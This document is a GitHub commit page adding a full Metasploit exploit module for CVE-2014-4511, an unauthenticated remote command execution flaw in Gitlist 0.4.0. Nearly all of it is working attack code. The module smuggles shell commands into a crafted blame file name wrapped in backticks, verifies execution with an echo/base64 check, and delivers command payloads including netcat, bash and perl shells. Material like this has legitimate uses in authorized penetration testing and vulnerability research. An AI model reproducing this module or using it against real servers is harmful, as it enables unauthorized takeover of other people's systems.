Skip to content

Commit 98a82bd

Browse files
committed
Land rapid7#3486, @brandonprry's exploit for CVE-2014-4511 gitlist RCE
2 parents aedd347 + 5988132 commit 98a82bd

File tree

1 file changed

+119
-0
lines changed

1 file changed

+119
-0
lines changed
Lines changed: 119 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,119 @@
1+
##
2+
# This module requires Metasploit: http//metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Exploit::Remote
9+
Rank = ExcellentRanking
10+
11+
include Msf::Exploit::Remote::HttpClient
12+
13+
def initialize(info = {})
14+
super(update_info(info,
15+
'Name' => 'Gitlist Unauthenticated Remote Command Execution',
16+
'Description' => %q{
17+
This module exploits an unauthenticated remote command execution vulnerability
18+
in version 0.4.0 of Gitlist. The problem exists in the handling of an specially
19+
crafted file name when trying to blame it.
20+
},
21+
'License' => MSF_LICENSE,
22+
'Privileged' => false,
23+
'Platform' => 'unix',
24+
'Arch' => ARCH_CMD,
25+
'Author' =>
26+
[
27+
'drone', #discovery/poc by @dronesec
28+
'Brandon Perry <[email protected]>' #Metasploit module
29+
],
30+
'References' =>
31+
[
32+
['CVE', '2014-4511'],
33+
['EDB', '33929'],
34+
['URL', 'http://hatriot.github.io/blog/2014/06/29/gitlist-rce/']
35+
],
36+
'Payload' =>
37+
{
38+
'Space' => 8192, # max length of GET request really
39+
'BadChars' => "&\x20",
40+
'DisableNops' => true,
41+
'Compat' =>
42+
{
43+
'PayloadType' => 'cmd',
44+
'RequiredCmd' => 'generic telnet python perl bash gawk netcat netcat-e ruby php openssl',
45+
}
46+
},
47+
'Targets' =>
48+
[
49+
['Gitlist 0.4.0', { }]
50+
],
51+
'DefaultTarget' => 0,
52+
'DisclosureDate' => 'Jun 30 2014'
53+
))
54+
55+
register_options(
56+
[
57+
OptString.new('TARGETURI', [true, 'The URI of the vulnerable instance', '/'])
58+
], self.class)
59+
end
60+
61+
def check
62+
repo = get_repo
63+
64+
if repo.nil?
65+
return Exploit::CheckCode::Unknown
66+
end
67+
68+
chk = Rex::Text.encode_base64(rand_text_alpha(rand(32)+5))
69+
70+
res = send_command(repo, "echo${IFS}" + chk + "|base64${IFS}--decode")
71+
72+
if res && res.body
73+
if res.body.include?(Rex::Text.decode_base64(chk))
74+
return Exploit::CheckCode::Vulnerable
75+
elsif res.body.to_s =~ /sh.*not found/
76+
return Exploit::CheckCode::Vulnerable
77+
end
78+
end
79+
80+
Exploit::CheckCode::Safe
81+
end
82+
83+
def exploit
84+
repo = get_repo
85+
if repo.nil?
86+
fail_with(Failure::Unknown, "#{peer} - Failed to retrieve the remote repository")
87+
end
88+
send_command(repo, payload.encoded)
89+
end
90+
91+
def get_repo
92+
res = send_request_cgi({
93+
'uri' => normalize_uri(target_uri.path, "/")
94+
})
95+
96+
unless res
97+
return nil
98+
end
99+
100+
first_repo = /href="\/gitlist\/(.*)\/"/.match(res.body)
101+
102+
unless first_repo && first_repo.length >= 2
103+
return nil
104+
end
105+
106+
repo_name = first_repo[1]
107+
108+
repo_name
109+
end
110+
111+
def send_command(repo, cmd)
112+
res = send_request_cgi({
113+
'uri' => normalize_uri(target_uri.path, repo, 'blame', 'master', '""`' + cmd + '`')
114+
}, 1)
115+
116+
res
117+
end
118+
119+
end

0 commit comments

Comments
 (0)